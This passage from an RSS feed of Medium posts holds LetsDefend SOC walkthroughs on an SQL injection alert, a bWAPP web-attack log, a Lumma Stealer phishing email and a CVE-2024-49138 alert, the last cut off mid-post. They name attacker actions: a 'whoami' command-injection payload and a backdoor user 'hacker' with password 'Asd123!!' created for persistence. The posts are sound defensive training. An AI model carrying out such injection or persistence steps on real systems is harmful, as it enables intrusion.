src="https://cdn-images-1.medium.com/max/1024/1*U8To0RNbUN9FOTycwtaVtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_ro4DPPX81wwBfBTJDk-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWVmE6ewGZosoXfnSNkApA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2bnFkfzAifVrqToXibgww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7KH9u4_t392SJlDEAUVaTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDcN3xZW3FqQKY3khzjSjQ.png" /></figure><h4>✅ AppSweep by Guardsquare</h4><ul><li>Cloud-based mobile app security testing solution</li><li>Developer-friendly, OWASP-aligned, free to use</li></ul><p><strong>Steps:</strong></p><ul><li>Uploaded <em>InsecureShop.apk</em> for scanning</li><li>Registration via GitHub, Google, or email</li></ul><p><strong>Key Results</strong>:</p><ul><li>9 High, 8 Medium, 4 Low vulnerabilities</li><li>Common issues: android:debuggable=trueinsecure components</li><li>OWASP category mapping and remediation suggestions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3wDB30_Nsj6P1ceJPk_Vw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XUIjMC-QBDVzXRHAaBDHIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9KCfTfMdYuDu1uuVYqC_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7z1sz0rRv-2t--Txd1Ug4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSJhdHoqrsyfZgqGvAJIgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*np3sccz1wiL_Fk6nPuPPSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKFKMNoVfm_BwiLwqZDiZA.png" /></figure><h4>✅ Quixxi</h4><ul><li>Provides SAST/DAST scanning, app shielding, and supervision features</li></ul><p><strong>Features Used:</strong></p><ul><li>Uploaded <em>InsecureBakv2.apk</em> for static scan</li><li>Received MASVS-aligned risk classification</li></ul><p><strong>Limitations:</strong></p><ul><li>The free version offers limited results visibility</li><li>Shield and Supervise features are restricted unless upgraded</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z597bKUwqnTZmgFj2oLyLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIV50Dx0tATXCas1iQyBBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAqnKPnl2iAuNmD1M8PYXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O4N5PxBvxb6yOxmkpHsz7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGHDfzi6vOl3plpDNOv-Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjPCIbvROYf1XwAyTK7Y2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Adthip9GUllmZAEnvKhxDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2zYjiobetvuIXmyhSFDiCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VgsUj0bj7fQca-ExJvOYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RASnX376vbacQzlJfoOvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzPtXopvJHKszuv81go7tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jy7R9aV4GkTTSSridOtvTQ.png" /></figure><h3>Recommendations for Developers</h3><ul><li>Integrate MAST tools (like MobSF and AppSweep) into CI/CD pipelines</li><li>Follow the <a href="https://mas.owasp.org/">Mobile Application Security Verification Standard (MASVS)</a> during development</li><li>Avoid using debug flags in production</li><li>Minimize app permissions and exposed components</li><li>Secure sensitive data at rest and in transit using encryption</li></ul><h3>Conclusion</h3><p>Mobile app security is not optional. With tools like MobSF, AppSweep, and Quixxi, developers and teams can proactively identify and resolve vulnerabilities before attackers exploit them. Whether you’re building a health app, an eCommerce solution, or a social platform, prioritizing security is essential.</p><p><strong>Resources:</strong></p><ul><li>OWASP Mobile Top 10–2024</li><li><a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">MobSF GitHub</a></li><li>AppSweep</li><li><a href="https://quixxi.com/">Quixxi</a></li></ul><p>#AppSec #MobileSecurity #OWASP #AndroidSecurity #DevSecOps #MobSF #AppSweep #Quixxi</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5744ee599afe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend: SOC165 — Possible SQL Injection Payload Detected]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-soc165-possible-sql-injection-payload-detected-a9301ec5ea02?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9301ec5ea02</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 17:28:11 GMT</pubDate>
            <atom:updated>2025-04-27T17:28:11.013Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>LetsDefend: SOC165 — Possible SQL Injection Payload Detected</strong></h3><p>In this walkthrough, we will investigate an SQL injection payload alert raised on the LetsDefend platform with the rule name: SOC165 — Possible SQL Injection Payload Detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*KwOGLvjG3Vv2te3_CZgjXA.png" /></figure><p>*** Please note that I will not be putting direct answers to the question in order not to spoil your learning experience. But if you follow closely, you will get the hints easily.</p><p><strong>Step 1:</strong></p><p><strong>Accessing the Alert, Taking Ownership of the Ticket, and Creating a Case:</strong></p><p>Navigate to the LetsDefend platform and click the “Practice” tab at the top of the screen. Search for the rule name with “SOC165 — Possible SQL Injection Payload Detected” and click on it, then click on the ”Take Ownership”, which will move the case from the “Main Channel” to “Investigation Channel”. Click on the icon with a forward sign, highlighted in the screenshot, to create a case for the event. Click “Continue” in the pop-up that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tlh_DAPaspUqtLlpi_bJHw.png" /></figure><p><strong>Step 2:</strong><br> Start the playbook and Understand Why the Alert Was Triggered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1hJFAzWGQ4iX_iR6H1cJMQ.png" /></figure><p><strong>Step 3:</strong><br> Collecting Data and Conducting Some Investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ZlgiQu3y61fbvZ_bnYfbw.png" /></figure><p>Take note of the ”Source Address” and “Destination Address” and proceed to the “Log Management” tab to search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyEhzIxhWWvSKdQ0wwOulg.png" /></figure><p>Expand the entry to see more details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2WKonX05M1bJSvZ7uWHCOQ.png" /></figure><p>Let’s decode all the ”Request URL” for each of the “Source Address” entries from “urldecoder.org”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hY_PRVPdJoK62HmS2lKaXQ.png" /></figure><p>Decoding the second “Request URL”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89f7xc4F3mS7rVEvLbIvdg.png" /></figure><p>Decoding the third “Request URL”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASHFKQpi9bO3oXead7YJzQ.png" /></figure><p>Decoding the fourth “Request URL”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Pno5xAVu_MnycEqbUu6nw.png" /></figure><p>A quick search of the Source IP address on VirusTotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KX8MyzcX4iPoqJvf7QTtIg.png" /></figure><p>A quick search of the Source IP address on AbuseIPDB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnJALvY5aMbR1NgyKkiLjg.png" /></figure><p><strong>Step 4:</strong></p><p><strong>Answering the Questions from the Playbook</strong></p><ul><li><strong>Is Traffic Malicious?</strong><br> From our initial investigations from the threat intel platforms, we can deduce that the traffic is clearly malicious</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Et_-G2vH7xlRYcLw0weHPA.png" /></figure><ul><li><strong>What is the Attack Type?</strong><br> We could see indicators of “SQL Injection” from the URLs that we decoded from “urldecoder.org”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hmfrplRZEqLXZcHPN_GStw.png" /></figure><ul><li><strong>Check if it is a Planned Test</strong><br> There is no indication that this is a planned test because there is no mail correspondence showing that it is a planned test. Moreover, the requested URL showed that the were multiple attempts of SQL injection and the attacker IP address was also found to be malicious and has been reported multiple times as seen from “AbuseIPDB”. Also the device generating malicious traffic was not found to belong to any attack simulation product.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_Ip35f_X0yQw7Sg335YFQ.png" /></figure><ul><li><strong>What is the Direction of Traffic?</strong><br> The attacker made a couple of attempts to the Company Network. <br> The source IP address from the internet was found to be malicious.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5uIOD48kFnj6MfEgiruRQ.png" /></figure><ul><li><strong>Was the Attack Successful?</strong><br> HTTP Response Status for all the entries is 500 (Internal Server Error). This means the attack attempts were not successful.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*5Ec5J9rTch1YteO_Dy_Jpw.png" /></figure><ul><li><strong>Do You Need Tier 2 Escalation?</strong><br> There won’t be a need for tier 2 escalation because the attack was not successful the device has not been compromised.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*CC0x6NqCnhDaOtThUHHg0A.png" /></figure><p><strong>Step 5:<br>Add Artifacts</strong><br>Add artifacts as desired</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*eaNY9ak9-lzAIPlP2ywfqQ.png" /></figure><p><strong>Step 6:<br>Analyst Note</strong><br>Add your note and click on the “Next” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v7wS9oNumYEx6ykzaVMkaw.png" /></figure><p><strong>Step 7:<br>Finish Playbook</strong><br>Finish the playbook and click on the “Confirm” button. Click on “Continue” in the pop-up that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRrHQIv_BlTnDR5YPayq_Q.png" /></figure><p><strong>Step 8:<br>Close Alert</strong><br>The alert is a true positive. <br>Add any other notes and click the “Close Alert” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRyyKSweMVLhEVKqc6toEg.png" /></figure><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including, but not limited to System Administration, Software Development, Network Administration, Security Operations, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9301ec5ea02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend Challenge — Investigate Web Attack]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-challenge-investigate-web-attack-99290068f3e4?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/99290068f3e4</guid>
            <category><![CDATA[brute-force-attack]]></category>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[code-injection]]></category>
            <category><![CDATA[persistence]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Thu, 17 Apr 2025 18:29:48 GMT</pubDate>
            <atom:updated>2025-04-17T18:29:48.883Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>LetsDefend Challenge — Investigate Web Attack</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*eHcKV6SQdJJMC_uDQTwj-w.png" /></figure><p><strong>Introduction</strong>:</p><p>In this challenge, we will be performing a deep investigation into a web attack from <a href="https://app.letsdefend.io/challenge/investigate-web-attack">LetsDefend</a> using the “access.log” file from the “bWAPP” web application, an intentionally vulnerable web application developed for educational purposes. bWAPP is an acronym for “buggy Web APPlication”</p><p>Download the “access.log” file to be used for the investigation by SSH’ing to the Linux machine and navigating to “/root/Desktop/ChallengeFile/access.log” or use my copy <a href="https://drive.google.com/file/d/1KIK2zX9f2fKBQ3aeJaJtrs7rTeUFYe_R/view?usp=drive_link">here</a>.<br> <br> Let’s open the log file with Visual Studio Code to begin our investigation and also to begin to answer the questions.</p><p>*** Please take note that I will not be putting the direct answers, but hints for some of the questions, so as not to ruin the active engagement for readers.</p><p><strong>Question 1:</strong></p><p>Which automated scan tool did the attacker use for web reconnaissance?</p><p>This is easily spotted at first glance of the log in the code editor. See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tssWhw0mFT_VbaDQWcym-Q.png" /></figure><p><strong>Question 2:</strong></p><p><strong>After web reconnaissance activity, which technique did the attacker use for directory listing discovery?</strong></p><p>I observed that the attacker was scanning different directories, and the alphabetical order scanning became more obvious at a point, with most returning the classic 404 (not found) error code. This is a typical indication of directory brute forcing or traversal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXEJIR3BBF2zbyOG6SJ4CQ.png" /></figure><p><strong>Question 3:</strong></p><p><strong>What is the third attack type after directory listing discovery?</strong></p><p>I examined further and discovered that around 133 POST requests were made to <em>/bWAPP/login.php</em> page between 12:41:41 to 12:50:10, and this made me deduce that the attacker is trying to brute force the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dO94FItbKJJv0fuDQcVt0A.png" /></figure><p><strong>Question 4:</strong></p><p><strong>Is the third attack successful?</strong></p><p>I observed HTTP status code change from 200 (ok) to 302 (Found) on line 12546 for “bWAPP/login.php” and also method and status code changes on lines 12549 and 12550 from POST to GET and 302 to 200 for “bWAPP/portal.php”. This means the attacker has successfully logged in and redirected to the “portal.php” page.</p><p><strong>Question 5:</strong></p><p><strong>What is the name of the fourth attack?</strong></p><p>Immediately after the brute force attack, the attacker started injecting code into the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s62m2VRpYyQXwEfWdojlDA.png" /></figure><p><strong>Question 6:</strong></p><p><strong>What is the first payload for the 4th attack?</strong></p><p>The first payload for the 4th attack, as can be seen from the log on line 12553 and shown in the screenshot below, is “whoami”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wvNWhpyJBXWPE_DZlSoCQ.png" /></figure><p><strong>Question 7:</strong></p><p><strong>Is there any persistency clue for the victim machine in the log file? If yes, what is the related payload?</strong></p><p>Yes. Immediately after executing the payload, the attacker began to create a new user</p><p>“hacker” with password “Asd123!!”. This is indicative of persistence because the attacker intends to be able to log in to the machine at a later time with the new user he’s creating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39KI4Ykd4E-ml6nZF4KdUA.png" /></figure><p><strong>Conclusion:</strong></p><p>This challenge has helped us to understand one of the uses of <strong>nikto</strong>, a web reconnaissance tool, some forms of web attack, including major forms of <strong>brute</strong> <strong>force</strong>, <strong>code</strong> <strong>injection,</strong> and how an attacker can maintain <strong>persistence</strong> on a machine.</p><p>Thank you for the read.</p><p>Feel free to contact me for any questions, concerns, or clarification, and I’d be glad to discuss further.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99290068f3e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend: SOC338 — Lumma Stealer — DLL Side-Loading via Click Fix Phishing]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-d271326e4d40?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d271326e4d40</guid>
            <category><![CDATA[c2]]></category>
            <category><![CDATA[infostealer]]></category>
            <category><![CDATA[phishing-email]]></category>
            <category><![CDATA[lumma-stealer]]></category>
            <category><![CDATA[command-and-control]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 05:39:01 GMT</pubDate>
            <atom:updated>2025-04-15T05:39:01.404Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>LetsDefend: SOC338 — Lumma Stealer — DLL Side-Loading via Click Fix Phishing</strong></h3><p>In this walkthrough, we will be using the LetsDefend practice platform to analyze a critical alert raised as highlighted in the heading above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*1-g6hhwdOAdRoM8U6A4iWg.png" /></figure><p><strong>What is Lumma Stealer?</strong></p><p>According to Malpedia, Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor “Shamel”, who goes by the alias “Lumma”. Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim’s machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent “TeslaBrowser/5.5”.” The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.</p><p><strong>Step 1:</strong></p><p><strong>Accessing the Alert and Taking Ownership of the Ticket:</strong></p><p>Navigate to the LetsDefend platform and click the “Practice” tab at the top of the screen. Search for the rule name with “Lumma Stealer” and click on it, then click on the ”Take Ownership” icon at the top right as shown in the screenshot. Click the “Yes, I’m sure” button in the popup that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsMN5F3EbJfNihXwHt1rRw.png" /></figure><p><strong>Step 2:</strong></p><p><strong>Create a Case for the Event:</strong></p><p>After taking ownership, the case moves from the “Main Channel” to “Investigation Channel” labelled (1) in the screenshot. Click on the icon labelled (2) to create a case for the event. Click “Continue” in the pop-up that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*q6uOzvV9KYsGHEiAAgou7w.png" /></figure><p><strong>Step 3:</strong></p><p><strong>Starting the Playbook:</strong></p><p>As shown in the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*92Qhzn9101sf3fm3H1sJJw.png" /></figure><p><strong>Step 4:</strong></p><p><strong>Information to obtain about the email:</strong></p><p>As shown in the screenshot displayed on the next page, some information needs to be obtained about the email for a smooth analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*eGPjLI5Z2MxVaGlqn4O-qg.png" /></figure><p><strong>Step 5:</strong></p><p><strong>Getting answers from Event Details:</strong></p><p>Q. When was it sent?</p><p><strong>A. Mar, 13, 2025, 09:44 AM</strong></p><p>Q. What is the email’s SMTP address?</p><p>A. <strong>132.232.40.201</strong></p><p>Q. What is the senders address?</p><p>A. <strong>update@windows-update.site</strong></p><p>Q. What is the recipient address?</p><p>A. <strong>dylan@letsdefend.io</strong></p><p>To answer the remaining 2 questions, go to the “Email Security” tab<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*BAYhDVa7u7DOuNoiDp2N5A.png" /></figure><p><strong>Getting answers from Event Details (Cont.):</strong></p><p>On the “Email Security” tab, search for “dylan@letsdefend.io” and select the entry.</p><p>Q. Is the email content suspicious?</p><p><strong>A. Yes</strong></p><p>Q. Are there any attachment?</p><p>A.<strong>Yes</strong></p><p>Now that the questions have been answered, click on the “Next” button as shown in step 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*GTXJouTgE0du7CX29oO5rg.png" /></figure><p><strong>Step 6:</strong></p><p><strong>Are there attachments or URL in the email</strong></p><p>A. Yes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*Y0gsJ7XMuFi9U2HokhuifA.png" /></figure><p><strong>Step 7:</strong></p><p><strong>Analyze URL/Attachment</strong></p><p>A.Malicious.</p><p>Analysis from AnyRun and VirusTotal is shown in the next 2 slides.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*GIh8NLxBTsZiLc7qz17TbQ.png" /></figure><p>Analysis from AnyRun showing that the URL/link is malicious as can be seen with labels (1) and (2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMYbUwtK86YER4gs-SdpNA.png" /></figure><p>Analysis from VirusTotal also indicating that the URL is malicious below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9c_jJ3UsMjJRYo4lajNcg.png" /></figure><p><strong>Step 8:</strong></p><p><strong>Check if the mail was delivered to the user</strong></p><p>A.Delivered.</p><p>The ”Device Action” field of the alert shows “Allowed”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*ZMAxbVv6h2OSLAISQWHVTg.png" /></figure><p><strong>Step 9:</strong></p><p><strong>Delete Email from Recepient.</strong></p><p>Click on the “Delete” button to delete the email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*I7VCRrFKOUxuKNmrarax5w.png" /></figure><p><strong>Step 10:</strong></p><p><strong>Check if someone opened the malicious File/URL.</strong></p><p>A. Opened</p><p>Check the “Log Management” tab and search for the address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*e1yCBRloSRbiG-PNHff86Q.png" /></figure><p><strong>Step 11:</strong></p><p><strong>Containment</strong></p><p>Go to the “Endpoint Security” tab (1), select the “Dylan” endpoint (2), turn on the containment button under the action category (3), click “Change” (4) for confirmation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOEguvycEYlfDD906yIVqw.png" /></figure><p><strong>Step 12:</strong></p><p><strong>Add Artifacts</strong></p><p>Add the different artifacts for each of the available options under the “Type” dropdown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhmW60kd6lFg1Q4UKb5DRQ.png" /></figure><p><strong>Step 13:</strong></p><p><strong>Analyst Note</strong></p><p>Enter the notes in the field displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hr6O-ejmnfOa8VgdY-tZ1g.png" /></figure><p><strong>Step 14:</strong></p><p><strong>Finishing up</strong></p><p>Click the “Next” and “Finish” buttons to finish up the playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*em2EAX7l8nBOwt-P734F1g.png" /></figure><p><strong>Step 15:</strong></p><p><strong>Closing the Alert</strong></p><p>Click the tick icon at the top right of the ticket to close to alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*KvOgTXYPB-uaNb_qaHP_kw.png" /></figure><p><strong>Closing the Alert</strong></p><p>Click on the “True Positive” option and type in a note for the closure. Then click on the “Close Alert” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKSNk9Bd3VcNtQrzgr1bZA.png" /></figure><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including, but not limited to System Administration, Software Development, Network Administration, Security Operations, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d271326e4d40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend: SOC335 — CVE-2024–49138 Exploitation Detected]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-soc335-cve-2024-49138-exploitation-detected-9d72ceebc66c?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d72ceebc66c</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 13:27:08 GMT</pubDate>
            <atom:updated>2025-04-14T13:27:08.240Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend: SOC335 — CVE-2024–49138 Exploitation Detected</h3><p>In this walkthrough, we will be using the LetsDefend practice platform to investigate a privilege escalation alert that was raised to determine if it is a true positive or false positive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*DKxittaVwsUuK0VgsUrjVQ.png" /></figure><p><strong>Step 1:</strong></p><p><strong>Accessing the Alert and Taking Ownership of the Ticket:</strong></p><p>Navigate to the LetsDefend platform and click the “Practice” tab at the top of the screen. Search for the rule name with “CVE-2024–49138 Exploitation Detected” and click on it, then click on the ”Take Ownership” icon at the top right as shown in the screenshot. Click the “Yes, I’m sure” button in the popup that displays afterwards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_zfDA3_M9P8lNCuAoWQvw.png" /></figure><p><strong>Step 2:</strong></p><p><strong>Create a case for the event:</strong></p><p>After taking ownership, the case moves from the “Main Channel” to the “Investigation Channel.” Click on the icon with the forward sign, highlighted in the screenshot, to create a case for the event. Click “Continue” in the pop-up that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8W1MlIeyeQ1NdBmB9WVpA.png" /></figure><p><strong>Step 3:</strong></p><p><strong>Looking at the Alert Details</strong></p><ul><li>The process name is “svohost.exe” which is similar to the legitimate Windows svchost process but now suspicious because of a slight deliberate misspelling.</li><li>The parent process is “Windows PowerShell.”</li><li>The trigger reason is “unusual behavior linked to the file hash indicating potential exploitation of CVE-2024–49138</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z3mf4e6Mi3FXxeCA8H8AeQ.png" /></figure><p><strong>Step 4:</strong></p><p><strong>Start the Playbook:</strong></p><p>The ”Case Management” tab is now active. Click on “Start Playbook” to begin updating the playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X6--5a5titgd20ixQPQQ5A.png" /></figure><p><strong>Step 5:</strong></p><p><strong>Select threat indicator:</strong></p><p>Click on the dropdown to select the threat indicator as shown in the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*cwUNd6YpXl-kcYl-ioLSCQ.png" /></figure><p><strong>Step 6:</strong></p><p><strong>Check if the malware is quarantined/cleaned</strong></p><p>Not Quarantined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*BbLyIRY30W04ClN9UKhhFQ.png" /></figure><p><strong>Step 7:</strong></p><p><strong>Analyze Malware</strong></p><p>Malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*rJzTEJhUlLWl3fYXpabhFA.png" /></figure><p><strong>Analyze Malware</strong></p><p>Use the IP address of the machine to search through the logs in the “Log Management” tab. Multiple entries were found to have happened at the same time. Also, the destination port of these entries was found to be 3389, which is the RDP port used to gain remote access to Windows machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MaCH_IrCrqeM7S3ObB1Vmg.png" /></figure><p><strong>Analyze Malware</strong></p><p>Expanding one of the entries revealed the “Source Address,” which we will use to make further findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSBJrVN5QcMAsTnW-nc7Qw.png" /></figure><p><strong>Analyze Malware</strong></p><p>An IP search on the “Threat Intel” tab shows that the IP is associated with the “Brute Force” tag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uuE6lLoGWXmqPgnMHdPqA.png" /></figure><p><strong>Analyze Malware</strong></p><p>The Command runs to download and execute the file for the exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Fi36ITCoi3uS_65j-x3mw.png" /></figure><p><strong>Analyze Malware</strong></p><p>Result of the file hash scan on VirusTotal shows that the file is malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dptm-MSYl35ViBKsV_KAuQ.png" /></figure><p><strong>Analyze Malware</strong></p><p>An IP search was also done on AbuseIPDB and was found showing that multiple reports have been made about the IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSpQ8wY8cE67xiyDlgqjoQ.png" /></figure><p><strong>Analyze Malware</strong></p><p>Some of the reports on AbuseIPDB reporting mostly as Brute Force and DDoS attacks</p><figure><img alt="" 